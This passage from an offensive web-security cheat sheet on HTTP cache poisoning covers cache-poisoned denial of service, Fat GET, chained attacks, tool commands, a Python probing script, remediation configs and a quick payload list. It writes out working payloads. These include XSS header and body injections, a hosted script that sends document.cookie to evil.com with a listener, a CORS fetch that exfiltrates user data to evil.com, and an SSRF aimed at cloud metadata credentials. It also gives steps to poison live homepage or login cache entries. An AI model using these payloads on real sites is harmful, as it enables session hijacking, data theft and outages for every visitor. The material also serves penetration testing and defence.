# Inject invalid characters into headers → backend error
# Tab, NULL byte, line feed in header value:

GET /?cb=1 HTTP/1.1
Host: target.com
X-Meta-Char: test\r\nInjected: header
X-Meta-Char: test\x00null
X-Meta-Char: test\x0ahidden

# In Burp: use Ctrl+Shift+U to send raw bytes
# Or Burp Inspector → change header value to include \x00, \r\n

# If backend returns 400 and it's cached → DoS

13.3 HMO — Method Override DoS

# X-HTTP-Method-Override tricks backend into treating GET as DELETE/PUT
# Backend returns 405 Method Not Allowed → cached → DoS

GET /?cb=1 HTTP/1.1
Host: target.com
X-HTTP-Method-Override: DELETE
# → App processes DELETE /resource → 405 or error
# → Cache stores error response

# Variants:
X-HTTP-Method-Override: DELETE
X-HTTP-Method: DELETE
X-Method-Override: DELETE
_method: DELETE   # (as header)

13.4 CPDoS — Confirming and Amplifying

# Confirm:
# 1. Send with cache buster + malicious header → get error response
# 2. Send same URL + buster WITHOUT malicious header → X-Cache: HIT + error?
# → If error is cached → confirmed

# Amplify (high impact):
# Remove cache buster → poison real cache entry
# All users visiting the affected URL receive the error

# High-value targets:
# / (homepage) → full site DoS
# /login → lock out all users
# /api/critical-endpoint → break functionality

# Duration: controlled by s-maxage / Surrogate-Control
# If s-maxage: 3600 → DoS lasts 1 hour

14. Fat GET Poisoning

HOW IT WORKS: A GET request includes a body. Caches typically only key on URL and headers — ignoring the body. If the backend processes body parameters from GET requests, those parameters are effectively unkeyed.

# Fat GET request:
GET /search?q=legitimate HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

injected_param=<XSS_PAYLOAD>

# Cache key: GET /search?q=legitimate → ignores body
# App processes body: injected_param=<XSS_PAYLOAD> → reflected
# Cache stores XSS response under: GET /search?q=legitimate
# All users visiting /search?q=legitimate receive XSS

14.1 Fat GET — Testing

# In Burp Repeater:
# 1. Change to GET request with body
# 2. Add Content-Type and Content-Length headers
# 3. Add body with test parameter

GET /?cb=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

testparam=CANARY1337

# Check if CANARY1337 appears in response
# Check if response is cached (X-Cache: HIT on repeat)
# If yes → Fat GET poisoning possible

# Test with curl:
curl -sk "https://target.com/?cb=1" \
    -X GET \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data "testparam=CANARY1337" -v

14.2 Fat GET — Exploitation

# Inject XSS via body parameter:
GET / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

callback="><script>alert(document.cookie)</script>

# Or redirect injection:
GET / HTTP/1.1
Content-Length: 30

redirect=https://evil.com

# Or JSON body:
GET /api/resource HTTP/1.1
Content-Type: application/json
Content-Length: 35

{"param": "<script>alert(1)</script>"}

15. Chaining Techniques

15.1 Cache Poisoning → Account Takeover Chain

Step 1: Identify unkeyed X-Forwarded-Host
Step 2: Find password reset functionality
Step 3: Poison cache:
        GET /forgot-password HTTP/1.1
        X-Forwarded-Host: evil.com
        → Cache stores: response containing link "evil.com/reset?token=..."
Step 4: Victim visits /forgot-password → reads page from cache
Step 5: Victim's browser makes request to evil.com (e.g., via script src)
Step 6: OR: victim clicks the poisoned reset link → token goes to evil.com
Step 7: Attacker uses token → account takeover

15.2 Cache Poisoning → Stored XSS → Session Hijack

# Step 1: Identify cached page with unkeyed header reflection in script src
# Step 2: Poison cache entry:
GET / HTTP/1.1
X-Forwarded-Host: evil.com
# Cached response: <script src="//evil.com/app.js"></script>

# Step 3: Host evil.com/app.js:
cat > app.js << 'EOF'
fetch("https://evil.com/steal?c="+document.cookie);
document.location = "https://evil.com/phish";
EOF

# Step 4: All users loading the page execute evil.js
# → Cookies sent to evil.com → hijack sessions

# Listener:
python3 -m http.server 80
# evil.com/steal?c=session=abcdef... appears in logs

15.3 Cache Poisoning + CORS → Data Exfil

# Step 1: Poison Origin header → ACAO: https://evil.com cached
GET /api/user-data HTTP/1.1
Origin: https://evil.com
# Response: Access-Control-Allow-Origin: https://evil.com (cached)

# Step 2: evil.com page makes credentialed request:
fetch("https://target.com/api/user-data", {
    credentials: "include"
})
.then(r => r.json())
.then(data => fetch("https://evil.com/exfil?d="+btoa(JSON.stringify(data))));

# Step 3: Cache delivers ACAO: evil.com to all users
# → evil.com can read all users' private API data

15.4 Routing SSRF → Cache Poisoning → RCE

# Step 1: Discover routing-based SSRF via Host header
# Step 2: Route to internal Kubernetes API / metadata service:
GET / HTTP/1.1
Host: 169.254.169.254
# → Cached response contains IAM credentials

# Step 3: With IAM credentials → RCE via S3/Lambda/EC2
# Or:
# Step 2: Route to Jenkins on internal port:
GET / HTTP/1.1
Host: 10.0.0.50:8080
# → Jenkins dashboard cached → enumerate builds/credentials

15.5 Cache Poisoning → CSRF

# Poison a page that dynamically generates a CSRF token
# If CSRF token is reflected from an unkeyed input:

GET /account/settings?cb=1 HTTP/1.1
X-Forwarded-Host: evil.com
# Response contains: <input name="csrf" value="TOKEN_GENERATED_FOR_EVIL.COM">

# Cached response → all users see the same CSRF token
# Attacker knows the token → can submit CSRF requests with known token

16. Tool Reference

16.1 Param Miner (Burp Extension) — Full Usage

# Install: Burp BApp Store → search "Param Miner"

# Guess headers:
# Send request to Burp Repeater
# Right-click → Param Miner → Guess headers
# → Output in Extensions tab → Param Miner → Output

# Guess params (includes cache poison detection):
# Right-click → Param Miner → Guess params
# → Also detects cache behavior for each param found

# Settings:
# Burp menu → Param Miner → Settings
# - Enable: "Add dynamic cachebuster" → auto-adds unique cache busters
# - Enable: "Use Burp Collaborator" → for OOB header detection
# - Enable: "Scan defined parameters" → tests known params from wordlist

# Reading results:
# "Unkeyed" marker = header/param affects response but not cache key
# "Reflected" marker = value appears in response body
# Both markers together = HIGH VALUE target for cache poisoning

# Key findings to look for:
# [+] X-Forwarded-Host (unkeyed, reflected in body)
# [+] X-Forwarded-Scheme (unkeyed, reflected in redirect)
# [+] utm_content (unkeyed query param, reflected in meta tag)

16.2 Burp Suite — Manual Cache Poison Testing

# Workflow in Burp Repeater:

# 1. Find a cached endpoint:
#    Send request → check X-Cache, Age, CF-Cache-Status

# 2. Add cache buster:
#    Add ?cb=RANDOM to URL

# 3. Inject test headers one by one:
#    X-Forwarded-Host: CANARY1337.com
#    → Send → check response for CANARY1337

# 4. Confirm unkeyed:
#    Send same request again → X-Cache: HIT + CANARY1337 still there
#    Remove X-Forwarded-Host → send → X-Cache: HIT → CANARY1337 in response?
#    If YES → unkeyed input confirmed

# 5. Escalate — inject real payload:
#    X-Forwarded-Host: evil.com/evil.js#
#    → Response: <script src="//evil.com/evil.js#/cdn/legit.js">

# 6. Poison real cache (remove cb):
#    Remove ?cb=RANDOM from URL
#    Send with malicious header
#    → Clean request returns poisoned response

# Burp Collaborator for OOB:
# Payload: Host: YOUR-COLLAB.oastify.com
# Check Collaborator → DNS/HTTP hit = backend made request with our host value

16.3 ffuf — Cache Poisoning Header Fuzzing

# Fuzz for unkeyed headers — measure response differences:
ffuf -u https://target.com/?cb=FUZZ1 \
    -H "X-Test: FUZZ2" \
    -w headers.txt:FUZZ2 \
    -w busters.txt:FUZZ1 \
    -mode clusterbomb \
    -mr "CANARY" \
    -t 10

# Vhost bruteforce (for routing SSRF / vhost discovery):
ffuf -u https://target.com/ \
    -H "Host: FUZZ.target.com" \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -mc 200,302 \
    -fs BASELINE_SIZE \
    -t 20

# UTM parameter testing:
ffuf -u "https://target.com/?FUZZ=CANARY&cb=1" \
    -w params.txt \
    -mr "CANARY" \
    -t 20

16.4 nuclei — Automated Cache Poison Detection

# Run cache poisoning templates:
nuclei -u https://target.com \
    -t nuclei-templates/vulnerabilities/generic/cache-poisoning.yaml \
    -v

# Broader scan including all relevant tags:
nuclei -u https://target.com \
    -tags cache-poisoning,cache-deception,cache \
    -v

# With Burp proxy for manual review:
nuclei -u https://target.com \
    -tags cache \
    -proxy http://127.0.0.1:8080 \
    -v

# Run on a list of URLs:
cat targets.txt | nuclei -tags cache-poisoning -v

16.5 curl — Manual Header Testing

# Test X-Forwarded-Host reflection:
curl -sk "https://target.com/?cb=$(date +%s)" \
    -H "X-Forwarded-Host: CANARY1337.com" -v 2>&1 | grep -i "canary\|x-cache\|age"

# Test scheme injection:
curl -sk "https://target.com/?cb=$(date +%s)" \
    -H "X-Forwarded-Scheme: http" \
    -H "X-Forwarded-Host: evil.com" \
    -v 2>&1 | grep -iE "location|x-cache|age"

# Quick cache check:
for i in 1 2 3; do
    curl -sk https://target.com/ -I | grep -iE "x-cache|age|cf-cache"
    sleep 1
done

# Fat GET test:
curl -sk "https://target.com/?cb=$(date +%s)" \
    -X GET \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data "testparam=CANARY1337" -v

# Test X-Original-URL:
curl -sk "https://target.com/?cb=$(date +%s)" \
    -H "X-Original-URL: /admin" -v

# CPDoS test (oversized header):
curl -sk "https://target.com/?cb=$(date +%s)" \
    -H "X-Oversized: $(python3 -c "print('A'*30000)")" \
    -v 2>&1 | head -5

16.6 Python — Custom Cache Poison Testing Script

import requests
import hashlib
import time

TARGET = "https://target.com"
CANARY = "CANARY" + hashlib.md5(str(time.time()).encode()).hexdigest()[:8]

def test_header(header_name, header_value, path="/"):
    buster = str(int(time.time()))
    url = f"{TARGET}{path}?cb={buster}"

    # First request: inject header
    r1 = requests.get(url, headers={header_name: header_value}, verify=False, timeout=10)

    # Check if value reflected
    reflected = header_value.split(".")[0] in r1.text  # check for canary marker
    cache_miss = "MISS" in r1.headers.get("X-Cache", "")

    # Second request: no header → test if cached response retained value
    r2 = requests.get(url, verify=False, timeout=10)
    cache_hit = "HIT" in r2.headers.get("X-Cache", "")
    still_reflected = header_value.split(".")[0] in r2.text

    print(f"\n[*] Testing {header_name}: {header_value}")
    print(f"    Reflected in r1: {reflected}")
    print(f"    Cache miss r1: {cache_miss}")
    print(f"    Cache hit r2: {cache_hit}")
    print(f"    Still reflected r2: {still_reflected}")

    if reflected and cache_hit and still_reflected:
        print(f"    [!!!] UNKEYED INPUT CONFIRMED: {header_name}")
        return True
    return False

# Test common unkeyed headers:
headers_to_test = {
    "X-Forwarded-Host": f"CANARY.attacker.com",
    "X-Host": f"CANARY.attacker.com",
    "X-Forwarded-Scheme": "http",
    "X-Forwarded-Server": "CANARY.attacker.com",
    "X-HTTP-Host-Override": "CANARY.attacker.com",
    "X-Original-URL": "/CANARY-path",
}

for header, value in headers_to_test.items():
    test_header(header, value)

17. Remediation

17.1 Secure Cache Key Configuration

# Nginx — Include all security-relevant headers in cache key:
proxy_cache_key "$scheme$host$request_uri$http_x_forwarded_host";

# Varnish VCL — proper cache key:
sub vcl_hash {
    hash_data(req.url);
    if (req.http.host) {
        hash_data(req.http.host);
    }
    # If X-Forwarded-Host is processed by backend, key on it:
    if (req.http.X-Forwarded-Host) {
        hash_data(req.http.X-Forwarded-Host);
    }
    return (lookup);
}

# Cloudflare Cache Rules:
# Dashboard → Cache → Cache Rules → Include headers in cache key:
# Add X-Forwarded-Host, X-Forwarded-Proto to custom cache key headers

17.2 Strip or Normalize Unneeded Headers at Proxy

# Nginx — remove untrusted headers before they reach the backend:
proxy_pass http://backend;

# Strip forwarding headers from untrusted clients:
proxy_set_header X-Forwarded-Host "";       # clear client-supplied
proxy_set_header X-Forwarded-Host $host;   # set from server

proxy_set_header X-Original-URL "";
proxy_set_header X-Rewrite-URL "";
proxy_set_header X-HTTP-Method-Override "";

# Only set X-Forwarded-For from known trusted proxies:
real_ip_header X-Forwarded-For;
set_real_ip_from 10.0.0.0/8;   # only trust internal proxy range
# Apache — unset dangerous headers:
RequestHeader unset X-Original-URL
RequestHeader unset X-Rewrite-URL
RequestHeader unset X-HTTP-Method-Override
RequestHeader set X-Forwarded-Host "%{HTTP_HOST}e"   # override with real Host

17.3 Don't Use Unkeyed Inputs for URL Generation

# WRONG — using unkeyed header to build URLs:
forwarded_host = request.headers.get("X-Forwarded-Host", request.host)
reset_link = f"https://{forwarded_host}/reset?token={token}"

# SAFE — use configured base URL:
# settings.py / config:
BASE_URL = "https://target.com"

reset_link = f"{BASE_URL}/reset?token={token}"

# SAFE Django — use ALLOWED_HOSTS for URL construction:
from django.contrib.sites.models import Site
current_site = Site.objects.get_current()
reset_link = f"https://{current_site.domain}/reset?token={token}"
// Node.js / Express:
// WRONG:
const baseUrl = req.headers['x-forwarded-host'] || req.hostname;

// SAFE:
const BASE_URL = process.env.BASE_URL || "https://target.com";

17.4 Prevent Cache Deception

# Nginx — cache only what's meant to be cached:

# Option 1: Cache ONLY known static file types explicitly:
location ~* \.(css|js|jpg|jpeg|png|gif|ico|woff|woff2)$ {
    proxy_cache static_cache;
    proxy_cache_valid 200 24h;
}

# Option 2: Never cache authenticated endpoints:
location /account/ {
    proxy_no_cache 1;
    proxy_cache_bypass 1;
    add_header Cache-Control "no-store, private";
}

location /api/ {
    proxy_no_cache 1;
    proxy_cache_bypass 1;
    add_header Cache-Control "no-store, private";
}

# Option 3: Return 404 for unknown paths under account/:
location /account/ {
    try_files $uri $uri/ =404;   # don't silently serve profile for /account/x.css
}
# Django — set proper Cache-Control on private views:
from django.views.decorators.cache import never_cache

@never_cache
def account_settings(request):
    ...

# Or in middleware:
response['Cache-Control'] = 'no-store, private'
response['Pragma'] = 'no-cache'

17.5 Vary Header — Key on Inputs That Affect Response

# If a header IS used to generate different responses, add it to Vary:
# This tells caches to include it in the cache key

# Server response:
Vary: Accept-Encoding, X-Forwarded-Host

# However: Vary: * means "never cache" — use only when appropriate
# Better: fix the code to not use unkeyed inputs for response generation

17.6 Defense-in-Depth

PRIMARY CONTROLS:
├── Whitelist the cache key — explicitly define what goes into the key
│   Include: Host, scheme, path, query string (and any security-relevant headers)
├── Strip all untrusted forwarding headers at the CDN/proxy layer
│   Never forward: X-Forwarded-Host, X-Original-URL, X-Rewrite-URL
│   from untrusted clients to backends
├── NEVER use Host header / X-Forwarded-Host for URL generation in app code
│   Use hardcoded BASE_URL from configuration instead
└── Mark private endpoints with Cache-Control: no-store, private
    (user dashboards, API responses with personal data, admin panels)

SECONDARY CONTROLS:
├── Use Vary header to key on headers that do affect response
├── Sanitize/validate query parameters before reflecting them
├── Limit allowed HTTP methods per endpoint (block unexpected methods)
├── Set reasonable TTLs — shorter TTL limits poison duration
├── Implement cache purge capability for incident response
└── Rate-limit requests to cache-busted URLs (prevent cache enumeration)

DETECTION:
├── Log and alert on abnormal X-Cache: MISS rates (unusual poisoning attempts)
├── Monitor for response body anomalies (unexpected domains in script src, etc.)
├── Alert on unexpected redirect Location headers (especially to external domains)
├── Run Param Miner in Burp in CI/CD pipeline against staging environments
├── nuclei cache-poisoning templates on pre-prod before each deploy
└── DAST tooling with cache-poisoning-aware scanners (Burp Active Scan)

18. Master Cheat Sheet

Attack Selection Decision Tree

Start: Target has caching (X-Cache, Age, CF-Cache-Status headers)?
│
├── NO → caching not present → skip or look for CDN in front
│
└── YES → proceed
    │
    ├── Step 1: Add cache buster (?cb=RANDOM) to isolate testing
    │
    ├── Step 2: Run Param Miner (Burp) → Guess headers
    │   │
    │   ├── Unkeyed header found + reflected in response?
    │   │   ├── X-Forwarded-Host → reflected in script/link/redirect?
    │   │   │   ├── Reflected in <script src> → Cache Poisoning → XSS (Section 7)
    │   │   │   ├── Reflected in redirect (Location:) → Open Redirect (Section 8)
    │   │   │   └── Reflected in JS var → DOM-Based Poisoning (Section 11)
    │   │   │
    │   │   ├── X-Forwarded-Scheme → combined with X-Forwarded-Host
    │   │   │   → scheme redirect poisoning (Section 8.1)
    │   │   │
    │   │   ├── X-Original-URL / X-Rewrite-URL → path override
    │   │   │   → access control bypass (Section 5.4)
    │   │   │
    │   │   └── Any header → backend error (400/413)
    │   │       → CPDoS (Section 13)
    │   │
    │   ├── Unkeyed query param found (utm_*, tracking)?
    │   │   ├── Reflected in HTML → XSS (Section 7.2)
    │   │   └── Param cloaking opportunity (Section 12)
    │   │
    │   └── No unkeyed inputs → try:
    │       ├── Fat GET (body params) (Section 14)
    │       ├── Duplicate params (Section 12.3)
    │       └── Parameter cloaking via delimiters (Section 12.1)
    │
    ├── Step 3: Test Cache Deception (inverse attack)
    │   ├── Try: /account/profile/test.css → does app serve profile page?
    │   ├── Is the response cached?
    │   └── YES → Cache Deception → private data exfil (Section 10)
    │
    └── Step 4: Escalate and chain
        ├── XSS → session hijack → account takeover
        ├── Redirect → phishing / credential harvest
        ├── SSRF → internal service discovery → RCE
        └── CORS poisoning → credentialed cross-origin data theft

Quick Payload Reference

# ── Unkeyed Header Confirmation ──
X-Forwarded-Host: CANARY1337.com
X-Host: CANARY1337.com
X-Forwarded-Scheme: http
X-Original-URL: /CANARY-path
X-HTTP-Method-Override: DELETE

# ── Cache Poisoning → XSS ──
X-Forwarded-Host: evil.com"><script>alert(document.cookie)</script>
X-Forwarded-Host: evil.com/evil.js#
X-Forwarded-Host: "><img src=x onerror=alert(1)>

# ── Cache Poisoning → Open Redirect ──
X-Forwarded-Host: evil.com
X-Forwarded-Scheme: http
# → Location: https://evil.com/

# ── Cache Poisoning → SSRF ──
Host: 169.254.169.254
Host: metadata.google.internal
X-Forwarded-Host: 169.254.169.254

# ── CPDoS ──
X-Oversized-Header: [A * 30000]
X-HTTP-Method-Override: DELETE

# ── Cache Deception ──
/account/profile/test.css
/account/profile/test.js
/account/profile;test.css
/account/profile%0Atest.css

# ── Parameter Cloaking ──
?q=safe;injected=evil
?q=safe&q=evil
?q=safe%26injected%3Devil

# ── Fat GET ──
GET / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

injected=<script>alert(1)</script>

Headers — Unkeyed Input Candidates

High probability of being unkeyed (commonly excluded from cache key):
  X-Forwarded-Host
  X-Host
  X-Forwarded-Scheme
  X-Forwarded-Proto
  X-Forwarded-Server
  X-HTTP-Host-Override

Medium probability (implementation-dependent):
  X-Original-URL
  X-Rewrite-URL
  X-HTTP-Method-Override
  X-Custom-IP-Authorization
  True-Client-IP
  X-Originating-IP
  Origin
  Referer

Query params commonly excluded from cache key:
  utm_source, utm_medium, utm_campaign, utm_content, utm_term
  fbclid, gclid, msclkid, _ga, mc_cid, mc_eid
  ref, referrer, source, _

Tool Quick Reference

# Param Miner (Burp):
# Right-click → Param Miner → Guess headers   (automated discovery)
# Enable: Add dynamic cachebuster, Use Collaborator

# ffuf - vhost / header fuzzing:
ffuf -u https://target.com/ -H "X-Forwarded-Host: FUZZ" \
    -w hosts.txt -mr "CANARY"

# nuclei:
nuclei -u https://target.com -tags cache-poisoning -v

# curl - quick header test:
curl -sk "https://target.com/?cb=$(date +%s)" \
    -H "X-Forwarded-Host: CANARY.evil.com" -v 2>&1 | grep -i "canary\|x-cache"

# Confirm cache:
curl -sk https://target.com/ -I | grep -iE "x-cache|age|cf-cache-status"

MITRE ATT&CK Mapping

T1557   — Adversary-in-the-Middle
           → Cache poisoning intercepts/modifies data between server and all users

T1190   — Exploit Public-Facing Application
           → Routing SSRF via cache poisoning to reach internal services

T1059   — Command and Scripting Interpreter
           → Cache-poisoned XSS executing attacker JS in victim browsers

T1539   — Steal Web Session Cookie
           → XSS via poisoned cache → cookie theft → session hijack

T1499   — Endpoint Denial of Service
           → CPDoS: cached error responses → effective application DoS

T1083   — File and Directory Discovery
           → Cache deception exposing private file contents

T1110   — Brute Force
           → Vhost / unkeyed input brute-forcing for cache oracle discovery

← Web top ↑